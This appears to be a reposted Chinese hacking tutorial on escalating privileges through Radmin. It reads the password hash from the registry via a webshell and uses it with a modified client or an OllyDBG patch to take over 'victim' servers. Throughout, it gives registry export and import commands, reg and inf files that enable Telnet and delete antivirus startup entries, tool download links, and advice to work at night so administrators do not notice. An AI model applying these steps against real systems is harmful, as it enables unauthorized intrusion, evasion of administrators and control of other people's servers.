当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
Radmin 提权
0x01 介绍
Radmin是一款屡获殊荣的远程控制软件(服务器管理 ),它将远程控制、外包服务组件、以及网络监控结合到一个系统里,还是文件传输速度都很快、很方便,这样也形成了很多服务器都装了Radmin这样的远程控制器,并且提供目前为止最快速、强健而安全的工具包。
Radmin是平时在Windows下用的比较多的一个远程管理工具。其具有支持多个连接和IP 过滤(即允许特定的IP控制远程机器)、个性化的档互传、远程关机、支持高分辨率模式、基于Windows NT的安全支持及密码保护以及提供日志文件支持等特性。不过老版本的Radmin Server2.X、Radmin Server3.0都存在一个“致命”漏洞 —— Radmin hash提权漏洞。
注:
该漏洞的利用是需要有一定的前提条件的(就是双方都必须要安有Radmin(客户端、服务端))。要获取读取系统注册表的权限(并不需要有写权限)。当然,获得此权限的方法很多。基本上取得webshell、cmdshell后都能获取该权限。
radmin的密码都是32位md5加密后,存放在注册表里的。
推荐红盟社区的精品文章:Radmin 远控的深度研究—无毒远控终极提权
http://www.cnhonkerarmy.com/thread-132999-1-6.html
0x02 利用方式
这里 CE介绍两种利用方式,一种是手工查询注册表,一个个的利用计算器计算出来(十六进制),另一种就是通过大马里集成的Radmin 提权,直接爆出hash值
radmin提权:(默认端口4899)直接使用大马中的Radmin提权,可以直接读取Radmin的密码(密文),同样使用工具radmin_hash.exe直接新建连接,然后右键完全控制,将32位的hash密文直接输入即可(注:在大马里面获取的密文为大写,需要先进行小写转换)
Radmin提权思路:
1. 在webshll中检查出有安装Radmin程序;
2. 在读取Radmin注册表键值,然后把读取的十进制转换成16进制;
3. 直接用radmi-hash工具连接,把读取的十六进制填入进去;
4. 最后可以用radmin客户端连接就行了;
常见虚拟主机常见路径
-
D:\virtualhost\web580651\www\ 新网虚拟主机
-
-
F:\usr\fw04408\xpinfo\ 万网虚拟主机
-
-
D:\hosting\wwwroot\ Prim
@Hosting虚拟主机
-
-
e:\wwwroot\longzhihu\wwwroot\ 华众虚拟主机
-
-
d:\freehost\zhoudeyang\web\ 星外虚拟主机主机
-
-
D:\vhostroot\LocalUser\gdrt\ 星外分支
-
-
f:\host\wz8088\web\ 星外分支
-
-
D:\vhostroot\localuser\ vhostroot
第一种方式:手工查询注册表爆hash值
从注册表的下列路径取得所要的hash值和端口值:
-
//默认密码注册表位置
-
HKEY_LOCAL_MACHINESYSTEMRAdminv2
.0ServerParametersParameter
-
-
//默认端口注册表位置
-
HKEY_LOCAL_MACHINESYSTEMRAdminv2
.0ServerParametersPort
parameters下的配置大致如下所示:
-
[HKEY_LOCAL_MACHINESYSTEMRAdminv2
.0ServerParameters]
-
"NTAuthEnabled"=hex:
00,
00,
00,
00
-
"Parameter"=hex:b5,bb,fc,
50,
93,ba,
35,b0,
7d,a6,
57,f7,d6,f1,
9a,a0
-
"Port"=hex:
11,
27,
00,
00
-
"Timeout"=hex:
0a,
00,
00,
00
-
"EnableLogFile"=hex:
01,
00,
00,
00
-
"LogFilePath"=
"c:logfile.txt"
-
"FilterIp"=hex:
00,
00,
00,
00
-
"DisableTrayIcon"=hex:
00,
00,
00,
00
-
"AutoAllow"=hex:
00,
00,
00,
00
-
"AskUser"=hex:
00,
00,
00,
00
-
"EnableEventLog"=hex:
00,
00,
00,
00
如何知道受害者主机的端口是多少?我们在自己电脑上装上一个同版本的radmin,注册表中找到相关的位置。将其中的端口的hex值改成和查到的一样,再查看自己的设置里的端口变成了多少。上例中所取的值11,27,00,00 即是10001端口。而通radmin_hash修改版输入32位hash值就会连接上主机。
第二种方式:通过大马爆hash值
大致步骤分为:
1. 端口扫描 4899 端口 2. 上传大马读取Radmin的加密密文 3. 下载Radmin工具连接(可以使用RadminHash工具调试连接)
点击大马中的radmin提权功能,从下图中看到端口为4899, 密码为密文格式的,尝试激活成功教程一下密码
我们输入默认大写的hash值,弹窗报错密码输入有误,那我们就需要把hash值进行转换为小写
我随便从网上找的一个大小写转换工具
转换大小写地址链接:https://www.iamwawa.cn/daxiaoxie.html
转换成功后,我们试着用Radmin_Hash工具连接一下,看看能不能连接成功
读出HASH值后用Radmin_Hash工具或od调试连接,工具下载地址如下:
链接:https://pan.baidu.com/s/1REhmow_Ryf1qF79ap1pp3w
提取码:umqh
成功Radmin_Hash工具使用连接上受害者主机
当然,我们进行远程连接时,需要与管理员岔开时间段登录,要不然被发现那就凉凉了,切记,一定要再管理员下线后操作,所以我们一定要在晚上进行此操作,不要在白天进行。那我们怎么看管理员在没在线呢?
查看管理员是否在线命令如下:
query user
注:此命令可以看到此刻管理员的登录状态及时间
或戏弄管理员,皮一下。例如:
Msg administrator+你要发送的内容
Msg administrator 沙雕,你已变成我的肉鸡了!哈哈哈
拓展知识
0x03 反汇编激活成功教程Radmin密码实例
前提条件:
一个webshell 最好有读取注册表的权限
如果不能读取radmin注册表至少wscript.shell组件没删 这样我们可以调用cmd
导出radmin的表值
radmin的注册表值,也就是经过加密的MD5 hash值 是32位哦
比如 radmin的注册表里,密码是这样存放的
port 端口
Parameter REG_BINARY 1f 19 8c dd ** ** ** ** ** **有16组 每组两个 合起来 就是32位了
工具 :
radmin 控制端
OllyDBG反汇编
首先 先用OllyDBG打开 radmin控制端(客户端)
然后执行 ctrl f 搜索 JMP EAX
然后按一下F4 再按F8
然后再 右键-查找-所有常量
输入 10325476 (很好记的 反过来就是76543210)
在弹出的窗口中 选择第一行 F2下断
然后F9 运行
这时 你就用radmin连接 你要入侵的服务器
这时 会弹出 叫你输入密码的提示框 不用管 随便输入密码
等你输入完 后 OD也就激活了
这时 你要先运行下Ctrl F9 再往上几行 选中红色的那块 就是刚才下断的地方
再次 按F2 一下 取消断点 然后再按 F8 这时 鼠标往下走 找到
ADD ES,18 这里 按一下F4
这时 你在左下角的 hex 那里 随便找个地方点一下
然后 运行Ctrl G 在弹出的栏里 输入 [esp] 注意带大括号的
然后 就注意把第一行 复制替换成 刚才我们得到的radmin密码的hash值
后按F9 运行看看 哈哈 是不是 搞定拉
这个方法 局限性很小 一般 的webshell都能 查看radmin的注册表
或者利用wscript.shell 导出radmin的密码 就可以进行欺骗了
比起,你暴力激活成功教程不知道要省多少倍时间……
0x04 利用各种shell获取注册表的方法
下面以一个cmdshell为例,解读操作注册表键值的方法。
1、读取注册表(利用regedit导出,利用type查询)
-
C:>regedit /e
1.reg
"HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp"
-
C:>type
1.reg | find
"PortNumber"
-
"PortNumber"=dword:
00000d3d
-
C:>del
1.reg
2、修改/删除注册表项
-
echo Windows Registry Editor Version
5.00 >
1.reg
-
echo. >>
1.reg
-
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftTelnetServer1
.0] >>
1.reg
-
echo
"TelnetPort"=dword:
00000913 >>
1.reg
-
echo
"NTLM"=dword:
00000001 >>
1.reg
-
echo. >>
1.reg
-
regedit /s
1.reg
上面是利用echo写入一个reg文件,并通过regedit命令导入。而删除操作与上面类似:
-
要删除一个项,在名字前面加减号,比如:
-
[-HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesServ-U]
-
要删除一个值,在等号后面用减号,比如:
-
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
-
"KAVRun"=-
3、inf文件操作
如果regedit命令不允许我们直接操作,我们还可以绕道通过inf文件导入注册表。先建立一个reg.inf文件,内容如下:
-
[Version]
-
Signature=
"$WINDOWS NT$"
-
[DefaultInstall]
-
AddReg=My_AddReg_Name
-
DelReg=My_DelReg_Name
-
[My_AddReg_Name]
-
HKLM,SOFTWAREMicrosoftTelnetServer1
.0,TelnetPort,
0x00010001,
2323
-
HKLM,SOFTWAREMicrosoftTelnetServer1
.0,NTLM,
0x00010001,
1
-
[My_DelReg_Name]
-
HKLM,SYSTEMCurrentControlSetServicesServ-U
-
HKLM,SOFTWAREMicrosoftWindowsCurrentVersionRun,KAVRun
然后运行如下命令(假设刚才的inf文件的路径是c:pathreg.inf),即可完成和上面reg文件一样的功能:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:pathreg.inf
至于inf文件的内容每项的意思,可以参看DDK帮助手册。
0x05 拓展知识
radmin2.1提权
RADMIN的注册表项位于HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\ Parameter(在这个键值保存着密码)
在本机安装radmin,,把上面的密码键值导出,上传到webshell的可写目录中
cmd下执行下列2行的命令:
REGEDIT -E C:\123.REG HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters (导出密码文件到c盘,c盘要有可写目录)
此步骤可以省略,直接导入本机的密码,实验通过。
REGEDIT -s C:\456.REG HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters (导入密码到注册表)
然后本机连接服务器ip,密码是本地radmin密码
参考连接:
http://www.361way.com/radmin-hash-loophole/2146.html
https://www.jb51.net/hack/5082.html
https://www.cnblogs.com/xishaonian/p/6031556.html
我不需要自由,只想背着她的梦
一步步向前走,她给的永远不重
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/37587.html